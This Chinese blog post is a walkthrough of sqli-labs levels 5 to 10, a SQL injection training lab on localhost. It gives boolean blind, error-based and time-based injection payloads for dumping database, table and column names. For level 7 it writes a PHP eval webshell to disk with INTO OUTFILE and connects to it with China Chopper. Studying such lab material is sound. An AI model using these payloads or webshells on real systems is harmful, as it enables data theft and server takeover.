<!DOCTYPE HTML>
<html lang="zh-CN">


<head>
    <meta charset="utf-8">
    <meta name="keywords" content="less5-10, 比企谷八幡">
    <meta name="description" content="用我三生烟火,换你一世迷离。">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no">
    <meta name="renderer" content="webkit|ie-stand|ie-comp">
    <meta name="mobile-web-app-capable" content="yes">
    <meta name="format-detection" content="telephone=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="apple-mobile-web-app-status-bar-style" content="black-translucent">
    <!-- Global site tag (gtag.js) - Google Analytics -->


    <title>less5-10 | 比企谷八幡</title>
    <link rel="icon" type="image/png" href="/favicon.png">

    <link rel="stylesheet" type="text/css" href="/libs/awesome/css/all.css">
    <link rel="stylesheet" type="text/css" href="/libs/materialize/materialize.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/aos/aos.css">
    <link rel="stylesheet" type="text/css" href="/libs/animate/animate.min.css">
    <link rel="stylesheet" type="text/css" href="/libs/lightGallery/css/lightgallery.min.css">
    <link rel="stylesheet" type="text/css" href="/css/matery.css">
    <link rel="stylesheet" type="text/css" href="/css/my.css">

    <script src="/libs/jquery/jquery.min.js"></script>

<meta name="generator" content="Hexo 4.2.1"><link rel="alternate" href="/atom.xml" title="比企谷八幡" type="application/atom+xml">
<link rel="stylesheet" href="/css/prism-tomorrow.css" type="text/css"></head>


<body>
    <header class="navbar-fixed">
    <nav id="headNav" class="bg-color nav-transparent">
        <div id="navContainer" class="nav-wrapper container">
            <div class="brand-logo">
                <a href="/" class="waves-effect waves-light">
                    
                    <img src="/medias/logo.png" class="logo-img" alt="LOGO">
                    
                    <span class="logo-span">比企谷八幡</span>
                </a>
            </div>
            

<a href="#" data-target="mobile-nav" class="sidenav-trigger button-collapse"><i class="fas fa-bars"></i></a>
<ul class="right nav-menu">
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/" class="waves-effect waves-light">
      
      <i class="fas fa-home" style="zoom: 0.6;"></i>
      
      <span>首页</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/tags" class="waves-effect waves-light">
      
      <i class="fas fa-tags" style="zoom: 0.6;"></i>
      
      <span>标签</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/categories" class="waves-effect waves-light">
      
      <i class="fas fa-bookmark" style="zoom: 0.6;"></i>
      
      <span>分类</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/archives" class="waves-effect waves-light">
      
      <i class="fas fa-archive" style="zoom: 0.6;"></i>
      
      <span>归档</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/about" class="waves-effect waves-light">
      
      <i class="fas fa-user-circle" style="zoom: 0.6;"></i>
      
      <span>关于</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/contact" class="waves-effect waves-light">
      
      <i class="fas fa-comments" style="zoom: 0.6;"></i>
      
      <span>留言板</span>
    </a>
    
  </li>
  
  <li class="hide-on-med-and-down nav-item">
    
    <a href="/friends" class="waves-effect waves-light">
      
      <i class="fas fa-address-book" style="zoom: 0.6;"></i>
      
      <span>友情链接</span>
    </a>
    
  </li>
  
  <li>
    <a href="#searchModal" class="modal-trigger waves-effect waves-light">
      <i id="searchIcon" class="fas fa-search" title="搜索" style="zoom: 0.85;"></i>
    </a>
  </li>
</ul>


<div id="mobile-nav" class="side-nav sidenav">

    <div class="mobile-head bg-color">
        
        <img src="/medias/logo.png" class="logo-img circle responsive-img">
        
        <div class="logo-name">比企谷八幡</div>
        <div class="logo-desc">
            
            用我三生烟火,换你一世迷离。
            
        </div>
    </div>

    

    <ul class="menu-list mobile-menu-list">
        
        <li class="m-nav-item">
	  
		<a href="/" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-home"></i>
			
			首页
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/tags" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-tags"></i>
			
			标签
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/categories" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-bookmark"></i>
			
			分类
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/archives" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-archive"></i>
			
			归档
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/about" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-user-circle"></i>
			
			关于
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/contact" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-comments"></i>
			
			留言板
		</a>
          
        </li>
        
        <li class="m-nav-item">
	  
		<a href="/friends" class="waves-effect waves-light">
			
			    <i class="fa-fw fas fa-address-book"></i>
			
			友情链接
		</a>
          
        </li>
        
        
        <li><div class="divider"></div></li>
        <li>
            <a href="https://github.com/blinkfox/hexo-theme-matery" class="waves-effect waves-light" target="_blank">
                <i class="fab fa-github-square fa-fw"></i>Fork Me
            </a>
        </li>
        
    </ul>
</div>


        </div>

        
            <style>
    .nav-transparent .github-corner {
        display: none !important;
    }

    .github-corner {
        position: absolute;
        z-index: 10;
        top: 0;
        right: 0;
        border: 0;
        transform: scale(1.1);
    }

    .github-corner svg {
        color: #0f9d58;
        fill: #fff;
        height: 64px;
        width: 64px;
    }

    .github-corner:hover .octo-arm {
        animation: a 0.56s ease-in-out;
    }

    .github-corner .octo-arm {
        animation: none;
    }

    @keyframes a {
        0%,
        to {
            transform: rotate(0);
        }
        20%,
        60% {
            transform: rotate(-25deg);
        }
        40%,
        80% {
            transform: rotate(10deg);
        }
    }
</style>

<a href="https://github.com/blinkfox/hexo-theme-matery" class="github-corner tooltipped hide-on-med-and-down" target="_blank"
   data-tooltip="Fork Me" data-position="left" data-delay="50">
    <svg viewBox="0 0 250 250" aria-hidden="true">
        <path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path>
        <path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2"
              fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path>
        <path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z"
              fill="currentColor" class="octo-body"></path>
    </svg>
</a>
        
    </nav>

</header>

    



<div class="bg-cover pd-header post-cover" style="background-image: url('/medias/featureimages/8.jpg')">
    <div class="container" style="right: 0px;left: 0px;">
        <div class="row">
            <div class="col s12 m12 l12">
                <div class="brand">
                    <h1 class="description center-align post-title">less5-10</h1>
                </div>
            </div>
        </div>
    </div>
</div>




<main class="post-container content">

    
    <link rel="stylesheet" href="/libs/tocbot/tocbot.css">
<style>
    #articleContent h1::before,
    #articleContent h2::before,
    #articleContent h3::before,
    #articleContent h4::before,
    #articleContent h5::before,
    #articleContent h6::before {
        display: block;
        content: " ";
        height: 100px;
        margin-top: -100px;
        visibility: hidden;
    }

    #articleContent :focus {
        outline: none;
    }

    .toc-fixed {
        position: fixed;
        top: 64px;
    }

    .toc-widget {
        width: 345px;
        padding-left: 20px;
    }

    .toc-widget .toc-title {
        margin: 35px 0 15px 0;
        padding-left: 17px;
        font-size: 1.5rem;
        font-weight: bold;
        line-height: 1.5rem;
    }

    .toc-widget ol {
        padding: 0;
        list-style: none;
    }

    #toc-content {
        height: calc(100vh - 250px);
        overflow: auto;
    }

    #toc-content ol {
        padding-left: 10px;
    }

    #toc-content ol li {
        padding-left: 10px;
    }

    #toc-content .toc-link:hover {
        color: #42b983;
        font-weight: 700;
        text-decoration: underline;
    }

    #toc-content .toc-link::before {
        background-color: transparent;
        max-height: 25px;

        position: absolute;
        right: 23.5vw;
        display: block;
    }

    #toc-content .is-active-link {
        color: #42b983;
    }

    #floating-toc-btn {
        position: fixed;
        right: 15px;
        bottom: 76px;
        padding-top: 15px;
        margin-bottom: 0;
        z-index: 998;
    }

    #floating-toc-btn .btn-floating {
        width: 48px;
        height: 48px;
    }

    #floating-toc-btn .btn-floating i {
        line-height: 48px;
        font-size: 1.4rem;
    }
</style>
<div class="row">
    <div id="main-content" class="col s12 m12 l9">
        <!-- 文章内容详情 -->
<div id="artDetail">
    <div class="card">
        <div class="card-content article-info">
            <div class="row tag-cate">
                <div class="col s7">
                    
                    <div class="article-tag">
                        
                            <a href="/tags/sqli-labs/">
                                <span class="chip bg-color">sqli-labs</span>
                            </a>
                        
                            <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                                <span class="chip bg-color">SQL注入</span>
                            </a>
                        
                    </div>
                    
                </div>
                <div class="col s5 right-align">
                    
                </div>
            </div>

            <div class="post-info">
                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-minus fa-fw"></i>发布日期:&nbsp;&nbsp;
                    2020-11-20
                </div>
                

                
                <div class="post-date info-break-policy">
                    <i class="far fa-calendar-check fa-fw"></i>更新日期:&nbsp;&nbsp;
                    2020-12-06
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-file-word fa-fw"></i>文章字数:&nbsp;&nbsp;
                    2.3k
                </div>
                

                
                <div class="info-break-policy">
                    <i class="far fa-clock fa-fw"></i>阅读时长:&nbsp;&nbsp;
                    9 分
                </div>
                

                
            </div>
        </div>
        <hr class="clearfix">
        <div class="card-content article-card-content">
            <div id="articleContent">
                <ul>
<li>注1:从本节开始忽略order by的步骤,因为都是3所以为了方便不再进行赘述</li>
<li>注2:less5-10中,除了less7要求是用outfile 的方式来进行注入,其他的关卡界面都一样,只有sql语句返回true才会显示语句,否则不显示如下<br><a href="https://imgchr.com/i/DlRLDJ" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlRLDJ.png" alt="DlRLDJ.png"></a></li>
</ul>
<h2 id="前置知识补充-方便查找"><a href="#前置知识补充-方便查找" class="headerlink" title="前置知识补充(方便查找)"></a>前置知识补充(方便查找)</h2><p>在第一关的时候已经给出了爆数据库名,表名,字段名，字段数据的方法,第五关中主要讲盲注,这两块的知识点贯穿整个靶场,下面我写一下盲注,延时注入，布尔注入部分的其中一种写法(后面我的惯用写法)</p>
<ul>
<li><p>1.布尔注入：   </p>
<pre><code>      1.left()  
      2.ascii(substr(str,begin,length))  </code></pre></li>
<li><p>2.报错注入:  </p>
<pre><code>      1.updatexml(1,concat(1,sql语句),1)</code></pre></li>
<li><p>3.延时注入：  </p>
<pre><code>      1.if(xx,1,sleep(5))</code></pre></li>
</ul>
<p>报错注入只要改sql语句部分其他部分硬抄,布尔注入和延时注入是用于猜解的,报错注入只可以在有报错信息显示的时候才能用</p>
<p>下面总结一下利用报错注入获取信息的sql注入代码</p>
<pre class=" language-SQL"><code class="language-SQL">#语法:
updatexml(1,concat(1,sql语句),1)


#获取当前数据库名
updatexml(1,concat(1,database()),1)

#爆所有数据库名
updatexml(1,concat(1,(select GROUP_CONCAT(schema_name)FROM information_schema.schemata)),1)

##爆某数据库所有表名
updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema="数据库名" )),1)

#爆所有列名
updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_name="表名" )),1)

#爆某一列的所有数据
updatexml(1,concat(1,(SELECT GROUP_CONCAT(列名) FROM 表名)),1)</code></pre>
<h2 id="一-less5"><a href="#一-less5" class="headerlink" title="一.less5"></a>一.less5</h2><h3 id="1-测试"><a href="#1-测试" class="headerlink" title="1.测试"></a>1.测试</h3><ul>
<li>单引号测试:在id =1’ ,结果报错,说明此处可以注入,根据报错结果可知是单引号闭合</li>
<li>逻辑测试:id=1’ and 1=1 –+  ,可以正常回显,and 1=2 –+,不显示内容,说明存在布尔sql盲注,返回值为true就正常回显,返回值false就回显异常<br><a href="https://imgchr.com/i/DlRLDJ" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlRLDJ.png" alt="DlRLDJ.png"></a><br>网页部分源码:(如果sql语句返回true就输出语句,否则不输出)<br><a href="https://imgchr.com/i/DQob4A" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/20/DQob4A.png" alt="DQob4A.png"></a></li>
</ul>
<p>猜测sql语句:</p>
<pre class=" language-SQL"><code class="language-SQL">select xx from xx where id ='XX'</code></pre>
<h3 id="2-布尔盲注"><a href="#2-布尔盲注" class="headerlink" title="2.布尔盲注"></a>2.布尔盲注</h3><p>布尔盲注 ：就是指利用逻辑关系,看sql语句的返回值是true还是false来判断猜解的内容是否正确</p>
<p>补充知识:</p>
<pre class=" language-sql"><code class="language-sql"><span class="token comment" spellcheck="true">#回显的n行的1,n=users表中的行数</span>
<span class="token keyword">select</span> <span class="token number">1</span> <span class="token keyword">from</span> users<span class="token punctuation">;</span> 

<span class="token comment" spellcheck="true">#id=-1是不存在的值,这个时候条件筛选的返回值是false,不会有值搜索出来</span>
<span class="token keyword">select</span> <span class="token number">1</span> <span class="token keyword">from</span> users <span class="token keyword">where</span> id <span class="token operator">=</span><span class="token operator">-</span><span class="token number">1</span>

<span class="token comment" spellcheck="true">#id=1是存在的值,这个时候条件筛选的返回值是true,会显示一行的1</span>
<span class="token keyword">select</span> <span class="token number">1</span> <span class="token keyword">from</span> users <span class="token keyword">where</span> id <span class="token operator">=</span><span class="token number">1</span></code></pre>
<h4 id="方法一-盲注-如果纯手动破解-效率低-："><a href="#方法一-盲注-如果纯手动破解-效率低-：" class="headerlink" title="方法一 : 盲注 (如果纯手动破解,效率低)："></a>方法一 : 盲注 (如果纯手动破解,效率低)：</h4><p><strong>(1)用函数length()进行盲注</strong></p>
<p>下面以测试数据库名长度为例，可以正常回显说明数据库名长度为 8</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1' and length(databases())=8 --+</code></pre><p><strong>(2)用函数left()进行盲注</strong></p>
<p><strong>说明:left(str,x);表示从左往右显示str的x个字符，返回值是ASCII码;</strong></p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1' and left(database(),1)='s' --+</code></pre><p><a href="https://imgchr.com/i/DQTzxx" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/20/DQTzxx.png" alt=""></a></p>
<p>可以正常回显说明第一个字符确实是’s’,接着用left(database(),2)=’se’,会发现还是可以正常回显,所以第二个字符确实是’e’<br><strong><em>注 : left的比较规则：和C语言的一样,比较第一个不同的字符</em></strong></p>
<p><strong>(3)用substr()和ascii()进行盲注</strong><br>说明:   </p>
<ul>
<li><p>substr(str,begin,len):第一个参数是字符串,begin是字符串的开始点,len是截取的长度</p>
</li>
<li><p>ascii(str):返回str的ascii码</p>
</li>
</ul>
<p>判断security下的第一个表名的第一位字符的ascii码</p>
<pre><code>#语法
ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101

#注入的代码
http://127.0.0.1/sqli-labs/Less-5/?id=1' and ascii(substr((select database()),1,1)--+</code></pre><ul>
<li>想要查第二个字符后面改成substr(xx,2，1)即可***</li>
<li>想要查第二个表只要把limit 0,1改成limit 1,1即可  </li>
</ul>
<p><strong><em>注:这里的database()就是’security’;</em></strong></p>
<p>用法:先截取数据库表名然后转换成ascii码进行判断,不断拆解判断每个点</p>
<p><strong>(4)用regexp进行盲注</strong></p>
<p>regexp的用法:str regexp’^xxx’   ,看str中是否有xxx,必须从前向后匹配,比如 username regexp’^ser’ 返回的是false ,^user返回的是true</p>
<p>regexp函数的运用</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name  regexp'^username'limit 0,1)--+</code></pre><p>拆解下面的sql语句含义:在users的表中select 1并且条件是判断columns中是否有username这个字段,如果有,则整句返回1,否则返回空</p>
<pre><code>select 1 from information_schema.columns where table_name='users' and column_name  regexp'^username'limit 0,1</code></pre><p><strong>(5)利用ord（）和mid（）进行盲注</strong></p>
<ul>
<li>ord(XX):把字母转化成ascii码</li>
<li>mid(str,begin,length):截取str,begin为起点,1表示第一个字符,length是截取长度  </li>
</ul>
<p>ord()和mid的应用:</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1' and 
ord(mid((select IFNULL(username,0x20)from security.users order by id limit 0,1),1,1))=68--+


#其实这样也可以,不过会不太严谨
ord(mid((select  username from security.users order by id limit 0,1),1,1))=68--+</code></pre><ul>
<li><p>方法二(用burpsuit暴力破解) </p>
<p>具体方法以后再补,先跳过</p>
</li>
</ul>
<h3 id="3-报错注入"><a href="#3-报错注入" class="headerlink" title="3.报错注入"></a>3.报错注入</h3><p>(1)报错注入的手段很多,这里讲一个我习惯用的(博客后面报错注入的时候基本也用这个):</p>
<pre class=" language-sql"><code class="language-sql"><span class="token comment" spellcheck="true"># 语法：</span>
<span class="token keyword">select</span> updatexml<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span>concat<span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">,</span>sql语句<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span>

http:<span class="token comment" spellcheck="true">//127.0.0.1/sqli-labs/Less-5/?id=1' and updatexml(1,concat(1,database()),1)--+</span></code></pre>
<p>注入成功！</p>
<p><a href="https://imgchr.com/i/DwqMsP" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/26/DwqMsP.png" alt=""></a></p>
<p><strong>下面的手法看情况用，天书Background2讲的很详细</strong></p>
<pre><code>http://127.0.0.1/sqli-labs/Less-5/?id=1' 
union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+</code></pre><p>注:floor报错注入改的是from后面和select user()那里的代码,其他地方不用变,如果user表或者rand被禁用,就换图片中的写法</p>
<p>原理:<a href="https://blog.csdn.net/qq_43504939/article/details/90046342" target="_blank" rel="noopener">https://blog.csdn.net/qq_43504939/article/details/90046342</a></p>
<p><a href="https://imgchr.com/i/Dl1hzF" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/20/Dl1hzF.png" alt=""></a></p>
<p>(2)利用double数值类型超出范围进行报错注入<br><a href="https://imgchr.com/i/DllN3F" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/20/DllN3F.png" alt=""></a></p>
<pre class=" language-sql"><code class="language-sql"><span class="token comment" spellcheck="true">#语法</span>
<span class="token keyword">select</span> exp<span class="token punctuation">(</span><span class="token operator">~</span><span class="token punctuation">(</span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">FROM</span><span class="token punctuation">(</span><span class="token keyword">SELECT</span> <span class="token keyword">USER</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token number">a</span><span class="token punctuation">)</span><span class="token punctuation">)</span>    <span class="token comment" spellcheck="true">//double数值类型超出范围</span>

<span class="token comment" spellcheck="true">#注入代码</span>
http:<span class="token comment" spellcheck="true">//127.0.0.1/sqli-labs/Less-5/?id=1' union select  (exp((select * FROM(SELECT USER())a))),2,3--+</span></code></pre>
<p>(3)利用bigint溢出进行报错注入</p>
<pre class=" language-sql"><code class="language-sql"><span class="token comment" spellcheck="true">#语法</span>
<span class="token keyword">select</span> <span class="token operator">!</span><span class="token punctuation">(</span><span class="token keyword">select</span> <span class="token operator">*</span> <span class="token keyword">from</span> <span class="token punctuation">(</span><span class="token keyword">select</span> <span class="token keyword">user</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>x<span class="token punctuation">)</span> <span class="token operator">-</span>（ps:这是减号） <span class="token operator">~</span><span class="token number">0</span>

<span class="token comment" spellcheck="true">#注入代码</span>
http:<span class="token comment" spellcheck="true">//127.0.0.1/sqli-labs/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+</span>
</code></pre>
<h3 id="4-延时注入"><a href="#4-延时注入" class="headerlink" title="4.延时注入"></a>4.延时注入</h3><p>代码含义:以猜数据库名的第一个字符为例子,如果猜错了ascii码额值，就执行sleep(5),网页要等待5s才刷新,否则立刻会刷新</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-8/?id=1'  and If(ascii(substr(database(),1,1))=115,1,sleep(5))--+</code></pre><p><a href="https://imgchr.com/i/Dlglr9" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/Dlglr9.png" alt="结果图"></a></p>
<h2 id="二-less6"><a href="#二-less6" class="headerlink" title="二.less6"></a>二.less6</h2><p>同less5 ,只不过变成双引号闭合,把’改成”即可,其他地方相同</p>
<h2 id="三-less7"><a href="#三-less7" class="headerlink" title="三.less7"></a>三.less7</h2><ul>
<li>一句话木马<pre class=" language-php"><code class="language-php"><span class="token delimiter">&lt;?php</span> @<span class="token function">eval</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">"root"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token delimiter">?></span><span class="token shell-comment comment">#root是我设置的密码,可以随便改,必须用双引号括起来</span></code></pre>
网页提示用out file来解决<br><a href="https://imgchr.com/i/Dl2BSU" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/Dl2BSU.png" alt=""></a></li>
<li>less7代码:  <pre><code>http://127.0.0.1/sqli-labs/Less-7/?id=-1')) union select 1,2,'&lt;?php @eval($_POST["crow"]); ?&gt;' into outfile  'E:\\phpstudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\a.php' --+</code></pre>注意点  </li>
<li>本关要构造’))才能形成正确闭合</li>
<li>要知道文件完整路径才能进行入侵</li>
<li>要具有写文件的权限</li>
<li>把一句话木马写入Less7的文件夹下,然后再用中国菜刀等web工具打开进行入侵 </li>
</ul>
<p>中国菜刀的用法:<br>进行木马写入后,比如上面的a.php,然后右键添加,把php文件的网址路径写入,然后密码写在右侧小框里,确认后回到主页点击刚刚添加的那一项就可以进入文件夹了了<br><a href="https://imgchr.com/i/DlgBqA" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlgBqA.png" alt=""></a><br><a href="https://imgchr.com/i/DlgyIP" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlgyIP.png" alt=""></a><br><a href="https://imgchr.com/i/Dd91pD" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/25/Dd91pD.png" alt="成功连接进入文件管理"></a></p>
<h2 id="四-less8"><a href="#四-less8" class="headerlink" title="四.less8"></a>四.less8</h2><p>这里采用的是单引号闭合id=’1’,盲注手法同less5</p>
<p>我这里随便举一个延时注入为例</p>
<pre><code>http://127.0.0.1/sqli-labs/Less-8/?id=1'  and If(ascii(substr(database(),1,1))=117,1,sleep(5))--+</code></pre><h2 id="五-less9"><a href="#五-less9" class="headerlink" title="五.less9"></a>五.less9</h2><p>这一关我们先加单引号（id=1’）进行测试后发现数据页面正常回显(实际上sql语句也确实是单引号字符型),然后尝试 and sleep(5),发现页面会执行sleep函数,说明存在注入漏洞  </p>
<p>后面可以直接用延时注入的手法查看数据即可,方法其实同less5,但是下面我再延时一遍如何利用各个函数调取猜解信息 <strong><em>（这里是对于布尔盲注而言的,and xxx来判断xxx 返回的是true还是false）</em></strong></p>
<ul>
<li><p>1.猜解数据库名</p>
<pre class=" language-SQL"><code class="language-SQL">If(ascii(substr(database(),1,1))=115,1,sleep(5))</code></pre>
</li>
<li><p>2.猜测 security 的数据表：<br>用limit 控制想要猜的表</p>
<pre class=" language-SQL"><code class="language-SQL">If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))</code></pre>
</li>
<li><p>3.猜测表中的列名,以users表为例</p>
<pre class=" language-SQL"><code class="language-SQL">If(ascii(substr((select column_name from information
_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))</code></pre>
</li>
<li><p>4.猜测 username 的值：</p>
<pre><code>If(ascii(substr((select username from users limit 0,1),
1,1))=68,1,sleep(5))--+</code></pre></li>
</ul>
<h2 id="六-less10"><a href="#六-less10" class="headerlink" title="六.less10"></a>六.less10</h2><p>双引号的字符型注入,后面玩法后less5一样<br><a href="https://imgchr.com/i/DlRdHA" target="_blank" rel="noopener"><img src="https://s3.ax1x.com/2020/11/21/DlRdHA.png" alt=""></a></p>
<script>
        document.querySelectorAll('.github-emoji')
          .forEach(el => {
            if (!el.dataset.src) { return; }
            const img = document.createElement('img');
            img.style = 'display:none !important;';
            img.src = el.dataset.src;
            img.addEventListener('error', () => {
              img.remove();
              el.style.color = 'inherit';
              el.style.backgroundImage = 'none';
              el.style.background = 'none';
            });
            img.addEventListener('load', () => {
              img.remove();
            });
            document.body.appendChild(img);
          });
      </script>
            </div>
            <hr/>

            

    <div class="reprint" id="reprint-statement">
        
            <div class="reprint__author">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-user">
                        文章作者:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="/about" rel="external nofollow noreferrer">灿若星河</a>
                </span>
            </div>
            <div class="reprint__type">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-link">
                        文章链接:
                    </i>
                </span>
                <span class="reprint-info">
                    <a href="https://1766095699.github.io/2020/11/20/less5-10/">https://1766095699.github.io/2020/11/20/less5-10/</a>
                </span>
            </div>
            <div class="reprint__notice">
                <span class="reprint-meta" style="font-weight: bold;">
                    <i class="fas fa-copyright">
                        版权声明:
                    </i>
                </span>
                <span class="reprint-info">
                    本博客所有文章除特別声明外，均采用
                    <a href="https://creativecommons.org/licenses/by/4.0/deed.zh" rel="external nofollow noreferrer" target="_blank">CC BY 4.0</a>
                    许可协议。转载请注明来源
                    <a href="/about" target="_blank">灿若星河</a>
                    !
                </span>
            </div>
        
    </div>

    <script async defer>
      document.addEventListener("copy", function (e) {
        let toastHTML = '<span>复制成功，请遵循本文的转载规则</span><button class="btn-flat toast-action" onclick="navToReprintStatement()" style="font-size: smaller">查看</a>';
        M.toast({html: toastHTML})
      });

      function navToReprintStatement() {
        $("html, body").animate({scrollTop: $("#reprint-statement").offset().top - 80}, 800);
      }
    </script>



            <div class="tag_share" style="display: block;">
                <div class="post-meta__tag-list" style="display: inline-block;">
                    
                        <div class="article-tag">
                            
                                <a href="/tags/sqli-labs/">
                                    <span class="chip bg-color">sqli-labs</span>
                                </a>
                            
                                <a href="/tags/SQL%E6%B3%A8%E5%85%A5/">
                                    <span class="chip bg-color">SQL注入</span>
                                </a>
                            
                        </div>
                    
                </div>
                <div class="post_share" style="zoom: 80%; width: fit-content; display: inline-block; float: right; margin: -0.15rem 0;">
                    <link rel="stylesheet" type="text/css" href="/libs/share/css/share.min.css">
<div id="article-share">

    
    <div class="social-share" data-sites="twitter,facebook,google,qq,qzone,wechat,weibo,douban,linkedin" data-wechat-qrcode-helper="<p>微信扫一扫即可分享！</p>"></div>
    <script src="/libs/share/js/social-share.min.js"></script>
    

    

</div>

                </div>
            </div>
            
        </div>
    </div>

    
        <link rel="stylesheet" href="/libs/gitalk/gitalk.css">
<link rel="stylesheet" href="/css/my-gitalk.css">

<div class="card gitalk-card" data-aos="fade-up">
    <div class="comment_headling" style="font-size: 20px; font-weight: 700; position: relative; padding-left: 20px; top: 15px; padding-bottom: 5px;">
        <i class="fas fa-comments fa-fw" aria-hidden="true"></i>
        <span>评论</span>
    </div>
    <div id="gitalk-container" class="card-content"></div>
</div>

<script src="/libs/gitalk/gitalk.min.js"></script>
<script>
    let gitalk = new Gitalk({
        clientID: '',
        clientSecret: '',
        repo: '',
        owner: '',
        admin: null,
        id: '2020-11-20T10-24-09',
        distractionFreeMode: false  // Facebook-like distraction free mode
    });

    gitalk.render('gitalk-container');
</script>

    

    

    

    

    

    

    

<article id="prenext-posts" class="prev-next articles">
    <div class="row article-row">
        
        <div class="article col s12 m6" data-aos="fade-up">
            <div class="article-badge left-badge text-color">
                <i class="fas fa-chevron-left"></i>&nbsp;上一篇</div>
            <div class="card">
                <a href="/2020/11/21/less11-22/">
                    <div class="card-image">
                        
                        
                        <img src="/medias/featureimages/20.jpg" class="responsive-img" alt="less11-22">
                        
                        <span class="card-title">less11-22</span>
                    </div>
                </a>
                <div class="card-content article-content">
                    <div class="summary block-with-text">
                        
                            
注1:从现在less11开始,进入post的世界了,前十关都是get请求,post请求在网址上看不见,要开Burpsuit等工具可以看到。下面为为了方便,都以F12中的抓包方式来查看表单一.less11

1.通过查看表单中的信息可以知道
                        
                    </div>
                    <div class="publish-info">
                        <span class="publish-date">
                            <i class="far fa-clock fa-fw icon-date"></i>2020-11-21
                        </span>
                        <span class="publish-author">
                            
                            <i class="fas fa-user fa-fw"></i>
                            灿若星河
                            
                        </span>
                    </div>
                </div>
                
                <div class="card-action article-tags">
                    
                    <a href="/tags/sqli-labs/">
                        <span class="chip bg-color">sqli-labs</span>
                    </a>
                    
